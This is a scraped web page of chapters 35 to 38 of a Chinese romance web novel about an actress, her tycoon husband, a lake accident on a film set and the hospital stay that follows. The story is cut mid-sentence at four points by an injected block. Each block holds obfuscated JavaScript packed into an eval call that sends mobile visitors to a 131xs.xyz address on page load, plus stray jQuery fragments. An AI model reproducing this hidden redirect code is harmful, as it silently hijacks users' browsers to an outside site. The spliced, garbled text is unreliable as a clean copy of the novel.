;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16058701|176056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
低是常态,没有后台背景,哪怕是一线,也会被有背景的小演员踩着上位。”
拍《偏爱时》这部戏是去年的事了,当时被资方塞进来的女配,仗着有金主撑腰,气焰不是一般嚣张。连她这样稳居一线的女星,在制作方高层探班的合影环节,也被她硬生生挤到了边缘,霸去了主演身边的位置。
那事当天被买上了热搜,对家公然嘲笑了好久,橙子到现在想起来都气得咬牙,“谁能想到她有今天呢。去年她有多嚣张,今天的脸就有多难看。”
今天去拍物料,那位女配也在现场。虽然已经混到了主演,但和温珍旎打招呼时,话都没敢多说,态度也比上次谦逊多了。
说就是温珍旎签进了万力娱乐,经纪人还是带出无数影帝视后的秦清,帮她争取到的第一部戏就是大小花抢得头破血流的大IP。
要到这种程度,光靠实力资历还不够,得有背景才站得住。所以拿脚趾头想想,也知道她背后的人脉不是自己惹得起的。
橙子颇有大仇得报之的爽快感:“仅仅是签了万力,请来秦姐做经纪人,拿到了大投资,态度转变都能有这么大。要是知道姐的身家,那几家不得嫉妒到发疯……果然啊,实力加背景,别人才会真正尊重你。”
温珍旎出道后,所有的资源都是靠自己争取来的,中规中矩,不好也不坏,现在有人直接把资源喂到嘴里,突然一身轻松。
虽然会被骂资源咖,但怎么说呢,有舍有得吧。
温珍旎:“以后只用专注演戏了,别的一概不管,也蛮好的。”
橙子赞同:“而且没有人可以抢走你的资源,姐只管正常发挥。”
前途不可限量,光明的未来在招手了。
橙子比她还开心,“都说JY是国内顶尖的娱乐公司,但是跟万力这么一比,一个天一个地,我们以前都过的什么日子呀。”
“哎呀,差点忘了正事!”橙子一拍脑门,突然想起头等大事,“《偏爱时》开播了,我得赶紧看看网上的反馈。”
她立刻起身,手忙脚乱地倒腾着包包,翻出手机。
温珍旎倒是从容。她已经粗略看过一轮反馈,这会儿都点开第一集正片了。
不知不觉花果茶见了底,她关掉手机,舒舒服服地去泡了个澡。
回到卧室,橙子正在整理衣服。见她回来,指着床上的手机,“姐,姐夫刚才来电话了。”
温珍旎把自己摔进松软馨香的大床,捞过手机,果然有一通未接显示。
她指尖轻点,回拨视频。
屏幕亮起,男人英俊的脸庞出现在眼前,没戴眼镜,随意地靠在栏杆上,背后是城市璀璨的灯火,看着像是锦煌夜宴的天台。
视频那头,慈恒察觉到她心情不错的样子,嘴角不自觉也跟着翘起,“高兴成这样,出门捡钱了?”
跟捡钱也差不多。
温珍旎盘腿坐在酒店的床上,手指一圈圈地绕着头发,“今天拍摄顺利,新剧也开播了,当然开心咯。”
慈恒眉间侵着倦色,听到她的声音,心情也松快好多,“新剧看了没有?”
“看了一些吧。”温珍旎看向屏幕,“怎么抽烟了?今晚应酬了吗?”
那边的慈恒指间燃着火星,在夜色里明灭闪烁。
风拂过他解掉一粒纽扣的衬衫领口,也吹乱了头发,倒有几分落拓不羁的味道。
他咬着烟,含糊一笑:“冯振这儿打牌呢。”
“赢钱了吗?”她问。
“肯定赢。”这倒不是假话,他打牌手气不错,很少输牌。
老公赢钱,温珍旎的心情更好了,“见者有份,我要红包。”
慈恒二话没说,转头发起了一笔转账。
温珍旎趴在枕头上,小腿翘在后面一晃一摇,点开红包收款的功夫,随口跟他聊着天。
“老公,你是不知道,没有背景的人在圈里好难混的。我刚出道那会儿,稍好一点的四番都轮不上,走运拿到一个好本子吧,开机当天都能被替换。好不容易从小糊咖一路熬到top了,结果还被资方塞进来的新人改戏。”
慈恒原本放松的神情倏地一滞,眼底浮起厉色:“什么时候的事?”
“去年的事情,早就过去了。”
她就随口讲讲,跟他聊天而已,没有要抱怨的意思。
慈恒眸色却黯了下去:“你想要哪部戏,我替你抢回来。”
36. 036
“财大气粗说话就是硬气。”温珍旎彻底服了他这副做派,忍不住吐槽,“慈总,你现在特像烽火戏诸侯的昏君。”
慈恒喉结滚动,溢出一声笑,指尖随意一弹,烟灰簌簌飘落:“天底下有我这样费力还不讨好的昏君?”
他隔着屏幕看她,语气揶揄:“妖妃好歹还知道博昏君一笑,你呢,半分诚意也没见着。”
温珍旎小腿拍着床,听了这话,下巴微扬,态度极其嚣张:“我就是真的拿出诚意来,你也得在家才行啊。”
这意思再明显不过,就是仗着自己不在,奈何不了她。
慈恒眯起眼眸,一瞬不瞬地盯着对面,也真的是奈何不了她。无声地对峙了片刻,他绷紧的下颌骤然放松,笑意从眼底缓缓溢出。
忽然笑起来的样子,莫名的温柔,甚至是纵容的,无奈的。
温珍旎心头一跳,有些招架不住他这么盯着自己看。她下意识地垂下眼睫,避开了灼人的视线,指尖绞着枕头,“我就是跟你聊聊天而已。放心吧,我才不是软柿子,是我的东西我肯定力争到底。”
她语气顿了顿,再开口时,带着点执拗的坚持,“至于那种恶意抢夺资源的下作手段,我做不来,也瞧不起。”
慈恒:“天真的小姑娘。”
他又这么评价。
温珍旎没有反驳,单手托着腮,纤长的睫毛扑闪着,“不过以后就好了,我不用再为资源发愁,只需要专心打磨自己,拿出全部实力,努力诠释好每一部作品。”
说完,她对着屏幕那端的男人真诚地致谢:“所以谢谢你,老公,你是个好人。”
“打住。”慈恒眉心拧起,语气十足嫌弃,“少发好人卡了。”
“哦……”温珍旎拖长了尾音,目光落在他眼睑处醒目的那抹青影上,心头不由得一软,“好啦,不说了,你还是快去休息吧。”
慈恒揿灭了烟,转身从天台回到室内走廊,顺势松开了两颗衬衣纽扣,没忘叮嘱她:“头发湿的,吹干了再睡。生病了可是你自己遭罪。”
果然,不能指望他说出什么好话来。
温珍旎撇撇嘴角,捞起颈边一缕发丝捻了捻,凉丝丝的,发尾还真带了点潮气。
她翻身下床,又返回浴室。
几分钟后回来,惊讶地发现手机屏幕仍然亮着,视频还没有挂断。
“怎么没挂?”温珍旎重新捞过手机,将吹得蓬松的长发撩到肩后。那头的男人,仍旧注视着她。
“看你。”
他靠坐在走廊高窗下的椅子里,衣襟松散地敞开着,视线穿过屏幕,不加掩饰地打量她:“你在外面都是这么穿的?”
“在酒店当然这么穿了。”温珍旎不明所以,“有什么问题?”
“把衣服穿好。”慈恒没头没尾地冒出一句,“有外人在的时候,不要穿睡衣。”
“什么?”温珍旎一头雾水,只觉得这话怪异。
她下意识地顺着他的视线低头,目光落在自己睡裙的领口。大概是刚才吹头发时动作大了些,领口崩开了。
“流氓往哪儿看。”
脸颊“腾”地烧了起来,温珍旎手忙脚乱地揪紧衣领,钻进被窝,把自己裹成蚕蛹,只露出毛茸茸的发顶。
屏幕里传来某人压抑不住的低笑,显然是被她的反应逗乐了。
男人忍俊不禁,慢慢收起逗弄的心思,“去睡吧。”
温珍旎连结束语都懒得说,“啪”地一下,迅速切断了通话。又像摸到烫手山芋般,把手机远远地扔在床头柜上。
睡觉!
通话结束,视频画面卡顿了几秒,最终消失。
直到页面彻底退出,慈恒才按住侧键,熄了屏幕。
“嘿,跟珍旎视频聊天呢?”
蒋卓凡慢悠悠地踱过来,挨着坐下,胳膊一伸,勾住慈恒的脖子。
廊道光线昏暗,反而放大了斯拉夫人的容貌特征,灰蓝色眼眸像结了冰的贝加尔湖,纯粹而干净。
他单手利落地弹开烟盒盖,递到慈恒眼前,“来一根不?”
慈恒抬手挡开,“不抽。”
蒋卓凡也不在意,耸耸肩,自顾自地磕出一支叼在嘴角,点燃火机,用力吸了一口:“这周去登山?”
“再说吧,也不一定有时间。”
他扫过蒋卓凡眼底的血丝,就想笑,“多久没休息了?就你这吹一阵风就倒的体格,别一口气不来,死半道上,我还得给你背回来。”
“唉,我的失眠症越来越严重,没办法。”蒋卓凡挠着脑袋,觉得这都不是问题,又回到原来的话题,“真不去啊?”
“不去。”慈恒掸了掸西裤上并不存在的灰尘,起身准备离开。
蒋卓凡:“这就走了啊。”
“走了。”慈恒走出去几步了,又侧过头提醒一句,“别忘了,把今晚输的钱打过来。”
蒋卓凡正吞云吐雾,闻言一口烟呛在喉咙里,咳得眼泪都快飙出来,“……至于吗,这点钱抠不死你。”
慈恒头也没回,甩给他一个无情的背影,“我跟你这种离婚人士不一样。家里一个老妈,一个老婆,要给两个老字辈打工。”
“……”
蒋卓凡对着消失在廊道的背影,狠狠地吸了口烟。他掏出手机,一边骂骂咧咧,一边认命地点开微信给他转账。
**
温珍旎在北城仅停留了一天,翌日清晨便匆匆飞回天海,落地后就直奔片场,投入紧张的拍摄。
下午的外景是一场钓鱼戏,取景地在片场附近的湖泊。
这场是群戏,近半的主要演员都到场了,工作人员搭起遮阳棚,演员们就在遮阳棚下候场。
现在日头正是最毒的时候,别说拍戏的人,就是坐在遮阳棚里的人,汗水也是流个不停。
主演还好,有房车休息,工作人员和群演就惨了,手持小风扇都不管用。
裘司城瞧大伙惹得够呛,让助理买了饮品和雪糕分下去。
中场休息时,温珍旎坐在水边吃雪糕,正好湖面有风拂过,倒是更清凉舒爽了。
“说起来,当初还是我教你钓的鱼。”
裘司城望着湖面,想起小时候,“那会儿我领着孩子们玩,一个个闹腾得不行,就你跟尾巴似的,寸步不离地黏在我身后。我教你钓鱼吧,可惜你根本坐不住,没两分钟就溜了,偷偷跑去逗别人的狗玩。”
“那时候你才这么点儿高。”裘司城用手比划了一个高度。
他描绘的场景仿佛在眼前,其实都是好久以前的事情了。
温珍旎被他勾起了回忆:“你还说呢,就是你,突然冒出来吓我,害我摔了一跤,弄得满身稀泥。你不仅没安慰我,还在旁边笑得可大声了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16070743|176056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
裘司城在调节鱼竿,为接下来的钓鱼戏做准备。闻言他侧过头看温珍旎,笑起来倒是温和,“那也比不了某些人。我好歹是大大方方地笑话你,某些人可是阴阳大师。”
温珍旎知道他在说慈恒,哼了一声:“你们俩半斤对八两。”
“跟他比,我是小巫见大巫了。”
怕她不记得,裘司城特意提醒,“他单手插兜给你拍的那张泥猴留念照,如果照片没有毁尸灭迹,将是你一辈子的黑历史。”
温珍旎听了也不急眼,反而坦然地承认了,“那是来时路,不是黑历史。”
“咦,看两位老师很熟的样子,难道很早就认识了?”一直在旁边记录花絮的驻场宣传,听两人聊天的内容,忍不住好奇地探头。
裘司城是富三代,已经是圈里公开的秘密。能跟他认识,温珍旎估计不简单。
裘司城看向温珍旎,眼神询问要不要帮她应付。
温珍旎拒绝了帮助,直接承认:“我跟裘老师是发小,他欺负我的时候可多了,你们要一字不漏地记下来,给他的粉丝看。”
卖点磕点,就这么水灵灵地被演员自己双手奉上了。驻场宣传的记录本快要搓出火了,“真看不出来,温柔绅士的裘老师,小时候也有调皮的一面。”
温珍旎扬起笑容,“我给你们看当时的照片吧。”
她掏出手机,从相册里调出泥猴照片。
驻场宣传凑近去看,掌镜的同事也赶紧拉近镜头。
只见被糊了满脸稀泥的小女孩,不但没有哭,还冲着镜头比耶。
裘司城啧道:“你不仅留着,还自己拿出来公开处刑。”
温珍旎:“为什么不能留着,我觉得很可爱啊。”
有这心态,做什么都会成功。花絮摄影由衷地竖起了大拇指,“温老师心态真好。”
“哭也没用,倒不如想开点。”
温珍旎翻完照片,道具组那边已经把准备好的鱼拎了过来。
“两位老师准备一下,马上到你们了。”场务提醒道。
跟妆师迅速过来为两人补妆,整理发型和戏服。
橙子拧开水杯,将吸管轻轻送到温珍旎唇边,“姐,天太热了,补补水。”
女配和群演们已经陆续进场了。
裘司城拉了一把温珍旎,低声叮嘱:“你水性一般,别站水边。”
他又和导演强调:“让安全员盯紧点,确保大家的安全。”
主要是接下来的戏是冲突戏。多年未见的男女主在朋友野营中意外重逢,一直追求男主的女三号顿感危机,当面挑衅女主,女主的闺蜜挺身维护,双方发生了争执,最终演变成推搡事件。
戏份提前走过位了,该怎么演,大家都清楚明了。
然而拍摄接近尾声时,意外还是发生了。
其中两名群演因为私人恩怨,竟然真的动起手来。场面瞬间失控,一片混乱中,女三号被夹在中间,身上挨了好几掌,踉跄着后退时脚下一崴,身体向湖边倾斜。
离她最近的温珍旎几乎是身体的本能反应,伸出手拽她,反倒被巨大的惯性一同拽进了水里。
深渊般的湖水瞬间吞没了两人,岸上死寂了一瞬。
“有人落水了!快救人!”
反应过来的安全员迅速冲向湖边,有人已经一个猛子扎进去。
37. 037
“裘老师呢?”
“刚刚跳下去救人了!”
剧组炸开了锅,工作人员全都奔向岸边,拍摄现场乱成一团。
意外来的太突然了,上一刻还在争执推搡的人,被这突如其来的变故吓得僵在原地,一脸惨色。
温珍旎水性是真的一般,落水后,冰冷的窒息感瞬间攫住了喉咙,浑浊的水流不断地往她的口鼻耳朵里灌。
岸边的嘈杂声越来越远,快要失去意识时,一道人影破开了水波,向她靠来。
裘司城托着人奋力游出水面,顺利把人托到了岸上,“快看看她的情况,有没有事……”
橙子已经第一时间展开毛巾,将温珍旎湿透的身体紧紧裹住,再帮她抠出嘴里的泥沙,用力拍打背部。
“咳、咳。”温珍旎抽搐了两下,费力地呛咳着,终于呕出了几大口水。
虽然她唇色看着惨白,委实吓人,但意识还算清醒,情况看上去相对乐观。但另一个跌进水里的女演员却双目紧闭,早就晕厥过去了。
“送医院!傻站着干什么,赶紧送医院!”
这事给闹的,导演嗓子都喊劈了叉,嘶吼着指挥工作人员把人抬去车上。
裘司城裹着毛巾,湿淋淋地站在一旁,发梢还滴着水,他抹了把脸,重重地叹了一口气:“得,这回把天给捅了。”
助理给他擦着脸上的水,“城哥,天塌下来之前,你自个先换件衣服吧。”
裘司城抹了把头发,解开湿透的衣服。也是,待会跟那人碰了面,可不能太狼狈。
所幸离这里不远就有一家私立医院,正好在裘家旗下,驱车十分钟就能过去。
温珍旎被安排做了一系列检查,确认没有大碍,还是被强行塞进VIP病房挂水补液。
来的时候一行人声势浩大,已经引起各大媒体的关注。一个小时后,随着更多豪车汇集,医院门口彻底被记者和长焦镜头堵成了铁桶。
病房里,温珍旎神情无奈地坐在床上,看着一屋子人,头皮都紧了。
太安静了,安静得可怕。
在场的人面面相觑,大气不敢出。
不知道是该惊讶温珍旎隐藏的身份,还是该震惊传闻中那位年纪轻轻就执掌商业帝国的巨擘,此刻现身在女演员的病房里。
导演人是懵的。上一秒还在焦头烂额,烦心怎么趁着热搜发酵前妥善解决这事,把负面影响降到最低,现在大脑像是被重击了,只剩下一片嗡鸣。
房间里的冷气挺足的,可他却觉得前胸后背都是汗。
导演抹了一下额上的冷汗,和副导演飞快交换了一个惊惶的眼神。目光先是落向一旁至始至终都温和淡定的裘司城,最后用余光瞟向那位从进门起就紧绷着脸的男人。
往日只耳闻过,这位在商业上的手腕是如何雷霆强势,行事是如何的杀伐决断。私下直面真人,那股无形的的压迫感,竟让他这个见惯了大风大浪的人,都从心底里感到骇然。
这气场是真吓人!偏偏满屋子人又都不说话。
但该说的,还是得有人去说啊……
导演清了清嗓子,硬着头皮打破沉默:“慈总,今天这事……全怪我们剧组疏忽,没把安全工作做到位,实在对不住,让温老师受惊了。”
病房里回荡着他没什么底气的道歉声。
椅子上的男人像是被定住了一般,连眼皮都没抬:“确实是你们的疏忽。”
话音落下,空气又沉了下去,比之前更加死寂了。
就是钝刀子割肉,也不过如此吧。
导演额角的青筋直跳,就在他搜肠刮肚,斟酌着要怎么接话,才不会得罪这位大人物时,门被无声推开,一个身形高大魁梧的男人走了进来。
林诺目光温和地扫过众人,颔首致意,声音却极具穿透力:“辛苦各位了。我们太太需要静养,诸位请回吧。”
导演正愁得要命,林诺这话犹如天降甘霖,把他从死亡沙漠里拽回了生命绿洲。
“是是!我们就不打扰温老师休息了。温老师好好静养,先不着急开工,身体要紧。”
他说了几句关切的场面话,赶紧拖着副导的胳膊出去了。
人家都下逐客令了,裘司城也跟着起身,顺势撑了个懒腰,“唉,我也该撤了。”
他像大哥哥一样,揉了揉温珍旎的脑袋,“旎儿你休息,城哥晚上再来看你,给你带好吃的。”
在某人冷冰冰的注视下,裘司城识趣地不再多说,招呼上助理赶紧溜了。
林诺确保最后一位访客离开,方才带上门,将空间留给夫妻俩。
温珍旎全程安静如鹌鹑,这人都走光了,突然就剩她和慈恒大眼瞪小眼。
“怎么不说话?”
慈恒往椅背上一靠,修长的左腿搭在另一条腿上,两手抱臂,用他那漂亮又具攻击性的下目线看着人,“跟别人有说不完的话,转头跟你的亲老公就无话可说了?”
什么亲老公,他还挺会活学活用的。
“哪有……”温珍旎揪着被子,迎上他镜片后的目光,声音都变小了,“这不是怕你骂我。”
嘴上说怕,眼睛里却没有半点畏惧之心。
慈恒太清楚她的性格了,闯祸之后,最擅长用无辜的眼神博取怜惜了,要么就是先发制人地服软认错。
他松开手,骨节分明的手垂落在膝盖上,“你没做错事,我为什么要骂你?”
嘴上是没责备,但是态度很吓人的好吧。
温珍旎腹诽着,手指快把被子抠出一个洞,“情况太突然了,我来不及思考,出于本能拉了她一把,没想到会被带进水里。”
“哦!”他尾音上扬,一副恍然的表情,“原来你自己清楚。”
温珍旎抓过他的手腕,小心地摇晃,“老公……”
慈恒冷眼道:“撒娇没用。”
温珍旎不信,捧起他一只手,贴在颊边蹭着,“老公,我知道你关心我,不用不承认的。”
慈恒哼了一声,还是那副嘴硬的样子,“我是怕家里担心,来看你闯了多大的祸。如有必要,帮你收拾烂摊子。”
“这话说的,好像我只会闯祸一样。”温珍旎嘀咕了一句,忽然不高兴了。
她是出于善意去帮助别人的。虽然没帮上忙,但也是好心啊。
泥人也有三分土性,就算是无心的玩笑话,她也不高兴。
温珍旎摔开他的手,拉开被子把自己埋了进去。
眼看她把自己裹成蚕蛹,只露出脑袋几缕发丝,慈恒皱着眉说:“小心回血。”
他试图将被子拽下来一点,温珍旎死死拽着被沿,偏不放手。
慈恒只好握住她的手背,压住针头,避免回血,“怎么了?是身体哪里不舒服?”
睡觉,看不见吗?温珍旎心里烦着呢。
“生气了?”
你否定了我,能高兴得起来才怪。温珍旎不想说话。
慈恒沉默了两秒后,终于确定她是生气了。
却又不明白她为什么会生气,“因为我说你闯祸?”
隔着被子,温珍旎声音闷闷的:“我什么时候闯祸让你兜底了?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16086938|176056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
金宵是很溺爱这个女儿的,却也把她教得很好。从小乖巧活泼,讨人喜欢,偶尔有点调皮,也只会觉得可爱。可爱又聪明的女孩子怎么会惹事呢。
慈恒似乎终于意识到,自己不该拿这种话说笑:“我刚才说错了,跟你道歉。”
啊?这就……道歉了?
温珍旎有点怀疑自己听错了,把被子往下拉了一截,眼睛里面满是不可置信。
从小到大都没人给他委屈受的男人,要他低头服软比登天都难,今天太阳打西边出来的?
不过他都道歉了,自己也不能太斤斤计较。
今天的气,今天生完,就不隔夜了。
“好吧,我勉为其难原谅你了。”
温珍旎咬着被子边缘,又说:“今天只是意外,你别跟奶奶,还有爸妈他们讲了。”
慈恒伸手把被子从她嘴里拿出来,挑眉道:“除了奶奶年纪大了不看新闻,你以为瞒得住谁。”
他探过身,从茶几上捞过手机,递给她,“开机自己看。”
手机是关了机的,温珍旎按下开机键。
屏幕亮起后,除了未接来电,还有微信图标上红得刺眼的99+。
她倒抽了一口气,又点开微博,带她大名的热搜正在飞速攀升。
慈恒解释:“在来的路上,林诺联系过你的经纪人了,她知道怎么处理最为妥当。”
温珍旎往上划,有一条高位热搜,置顶的是剧组和工作室发布的联合声明。
快速浏览了一遍,声明措辞很严谨,舆论导向也积极正面。比起从前团队面对突发状况时的迟钝和敷衍,这次的反应堪称是神速了。
而且工作室还单独发了一条报平安的微博,安抚情绪激动的粉丝。
温珍旎看热搜的这会儿,消息提示音也一直响个不停,来电更是锲而不舍,吵得她脑瓜子嗡嗡的。
慈恒见状,伸手将手机从她指间抽走,动作干脆地挂了奚淼的电话。
至于疯狂跳出来的息,根本不作理会,直接将手机调成静音,倒扣在床头柜上。
没了手机的干扰,病房里倒是安静了许多,但也足够枯燥。
温珍旎躺也不是,坐也不是,心里难免焦虑。
“我想回去。不想待在这里。”她说。
“住一晚,有什么事明天再说。”坐在床边的男人头也没抬,手指兀自在自己的手机上敲着。
语气霸道,不待商榷。
末了,才像是忽然想起,抬眼问她:“晚上想吃什么?”
被他这么一问,温珍旎才察觉肚子有些饿了。
慈恒没等她回答,直接扬声朝门外唤了一声:“林诺。”
门应声而开,魁梧高大的人影走了进来,在病床几步外站定:“慈总。”
“你回家,把晚饭做好了带过来。”慈恒吩咐完,又转头问温珍旎,“想好吃什么了?”
温珍旎想了想,最近吃得太过寡淡,嘴早就馋了,“要嫩嫩的手打虾滑,焦香的糖醋排骨……如果可以,我还想要软烂可口的黄豆炖猪蹄,汤炖得奶白浓稠的那种。”
说完之后,她有点不好意思地看着林诺,“可以吗,林秘书?”
“当然可以的,太太。”林诺不觉得为难,脸上始终挂着温和的笑,“我这就去准备。”
温珍旎目光追随着林诺的背影,直到门关上,才收回视线,小声感叹,“林秘书什么都会,十项全能啊。他有女朋友了吗?”
慈恒回消息的手一顿,眯眼睨着她:“他没有女朋友,但你有老公。”
38. 038
温珍旎被他一句话堵回来,小声嘟囔:“就随便问问,又没有别的想法。”
“你要是无聊,就闭上眼睛睡觉。”慈恒不和她作争辩,说完起身,理了理微皱的衬衫,“我出去回个电话。”
“嗯。”温珍旎应了一声。
他前脚刚出去,后脚橙子就猫着腰溜了进来。
“姐,我把你的东西都带来了。”
橙子放下包,瞅了眼门外,心有余悸地拍着胸口:“妈呀,大佬气场太吓人了!每次见到他,我连气都喘不上来。”
温珍旎被她夸张的语气逗得一乐:“他是遵纪守法好公民,怕他干嘛。”
“嗐,弱小生物对顶级掠夺者的本能反应嘛。”
橙子挠着头嘿嘿一笑,凑到床边,端详她的脸色:“姐,感觉怎么样?有哪儿不舒服吗?”
温珍旎叹气:“啥事没有,他非要摁着我在这住一晚。”
“住一晚也好。”见她生无可恋的样子,橙子献宝似的把手机给她看,“告诉你一个好消息。昨天新剧首播效果不错,你饰演的白月光,戏份虽然不多,但是广受好评。”
她还特别加重语气强调:“而且,这次没人揪着台词逐帧审判你了。”
温珍旎扯了扯唇:“拢共就那么几句台词,要审判也得有素材啊。”
她支着半边脸,滑动屏幕。看到其中一条说她是花瓶进阶,噗嗤一声笑了出来。
有意思的热评挺多,别人绞尽脑汁都比不上这些灵机一动的天赋型选手。
“你看你看,这句也蛮好笑的。”橙子戳着其中一句。
两颗脑袋凑在一起,对着那些剧评指指点点,不时爆发出一阵笑声。
讨论得正热火朝天,病房门被推开,慈恒抱着笔记本电脑走了进来。
他一出现,原本温馨的场面凝滞了几秒。
橙子反应过来,弹簧似的从床上弹起来,声音都劈了叉:“慈慈慈总您回来了!那个珍旎姐,你好好休息,我明天过来接你。”
说完,人就飞快地逃离了病房,仿佛他是什么洪水猛兽。
温珍旎指控:“你把我的助理吓跑了。”
“我什么都没干,全靠你们脑补。”
慈恒不紧不慢地走到床边,坐进茶几旁的单人沙发里,支开笔记本电脑,语气一本正经地补充:“脑补我是个冷酷无情的大魔王,不择手段的天王凉破,神话都没你们能编。”
嚯!听这意思,办公室背后蛐蛐他的那些话,他都门清啊!
知道还装不知道……这人忒腹黑了。
温珍旎看他坐下,准备处理工作的架势,清了清嗓子:“咳,你要在这里办公吗?”
很显然,问题问得有点多余,慈恒都懒得回复。
“……对了,你来的时候,有记者拍到吗?”温珍旎问。
“只要你不主动公开,是不会暴露的。”
慈恒语气笃定,倒了杯热水,起身端给她:“说累了多喝点水。要上厕所再叫我。”
嫌她话多咯。
温珍旎不想喝水,把杯子放下,从包里翻出一副耳机戴上。
不打扰他工作,自己安静地歪在枕头上追剧,看累了,就顺势眯会儿。
点滴瓶里的液体挂完的时候,差不多七点多了。林诺提着保温饭盒,把做好的饭菜送了过来。
除了温珍旎点名要的三样荤菜,还多做了两道清爽的素菜。
盖子掀开的刹那,浓郁的饭菜香气扑鼻而来。
温珍旎接过慈恒递上的筷子,夹起一块煎得焦香的排骨,迫不及待地送入口中。
牙齿咬下的瞬间,浓郁的肉汁在舌尖爆开,她满足地眯起眼睛,“唔,好吃!这水准跟星级大厨比都不差!”
她惊讶地看向林诺,实在难以相信,看着五大三粗的男人,居然可以把饭菜做到这种级别:“林秘书,这些真是你一个人做的?”
“是的,太太。”林诺笑容得体地回道,“我持有高级技师证,太太有想吃的菜随时可以吩咐我。如果有不合口味的地方,也请告诉我,下次加以改进。”
既能当保镖,又能做一手好菜,还提供满满的情绪价值。难怪他在万千人选中脱颖而出,跟在慈恒身边做私人秘书。
“林秘书,你这么全能,要不别跟你老板了,过来给我当助理怎么样?”
温珍旎嘴里吃着慈恒夹给她的菜,却光明正大地挖他的墙脚,“他给你开多少年薪,我出双倍。”
用财力挖走一个人,对她来说易如反掌。
林诺恭敬地回道:“太太,我本身就是在为您服务。”
他为慈恒工作,也就是为她工作,这话确实挑不出错。
温珍旎:“好吧。”
果然,得力的助手,在市场是不流通的。
“吃你的饭吧。”慈恒夹了一块排骨添在她碗里,“当着我的面都挖人。”
温珍旎扁了扁嘴,低头继续扒饭。
林诺烧的菜实在太可口了,每道都下饭,她一个没忍住,吃撑了。
裘司城提着保温袋进来时,她正歪在床上,揉着饱胀的胃部发呆。
“旎儿,我亲自下厨做了你最爱的香辣鱿鱼哟。”裘司城一进门,就冲她晃了晃手里的袋子。
他完全无视沙发上的慈恒,径直将笔记本电脑往旁边一扫,腾出地方,然后打开带来的保温桶。
“而且,我还买了甜点。”他满怀期待地转头,却发现病床上的人一动不动地躺着,甚至打了一个绵软无力的嗝。
慈恒操着手,目光淡淡地斜了他一眼:“都几点了还吃。你自己吃吧。”
温珍旎也摆手:“太撑了,装不下了。”
看她也确实是吃饱的样子,裘司城表情遗憾道:“才收工,来的确实晚了。”
慈恒倒是不客气,拿起筷子夹了一小块鱿鱼卷,嫌弃地端详了几秒,慢条斯理地送入口中。
咀嚼几下,皱眉点评:“是鱿鱼还是牛皮筋?吃嘴里都能崩掉牙了。还好你来的晚,不然我高低起诉你投毒。”
虽然是一片心意,但这种水平拿出来送人,跟报复有什么区别。
裘司城也不跟他生气:“我很少下厨,厨艺确实一般。”
温珍旎夹在中间,没敢说话。
但是慈恒的嘴欠啊,他扯了纸巾慢吞吞地擦手:“为难自己就可以了,别为难他人。”
裘司城真是要被他毒死了:“慈恒,你这种人设,在电视剧里是讨不到老婆的。”
慈恒挑眉。那意思仿佛在说,你当着我老婆的面把这话再说一遍。
温珍旎憋笑憋得很辛苦,赶紧开口道:“城哥,明天一早还拍戏呢,你回去休息吧。”
“行吧。”
裘司城上来就听某人呛人,也是够够的了。他起身,揉了揉温珍旎的脑袋,“接下来的天台吻戏,我可是琢磨了一晚上的情绪递进,明天见面了咱们再探讨交流。”
这话是刻意说给慈恒听的。
慈恒果然听进去了。裘司城离开病房时,他也跟了出来。
“你小子故意的。”
“实话实话而已。”裘司城按下电梯,转头看他。虽然垂着眼看人,但镜片后的眼睛已经寒光四射了。
他两手一摊,脸上表情人畜无害:“你看你,又不高兴了。”
慈恒曲指顶了顶镜架:“以后说话还是分场合吧。尤其是在别人老婆面前,保持距
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16097792|176056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
离是基本礼貌。”
“噢。”裘司城目光扫到他无名指的婚戒,不禁一笑,“都戴上婚戒了。怎么,因为我啊?”
慈恒眼底的敌意渐渐被错愕取代:“你要不要听听你在说什么屁话?真把自己当盘主菜了。”
裘司城依旧乐呵呵的:“看在朋友份上,我才给你忠告的。戴上婚戒,就是套上枷锁,进入婚姻的坟墓。”
慈恒反驳:“不幸的婚姻才叫枷锁。”
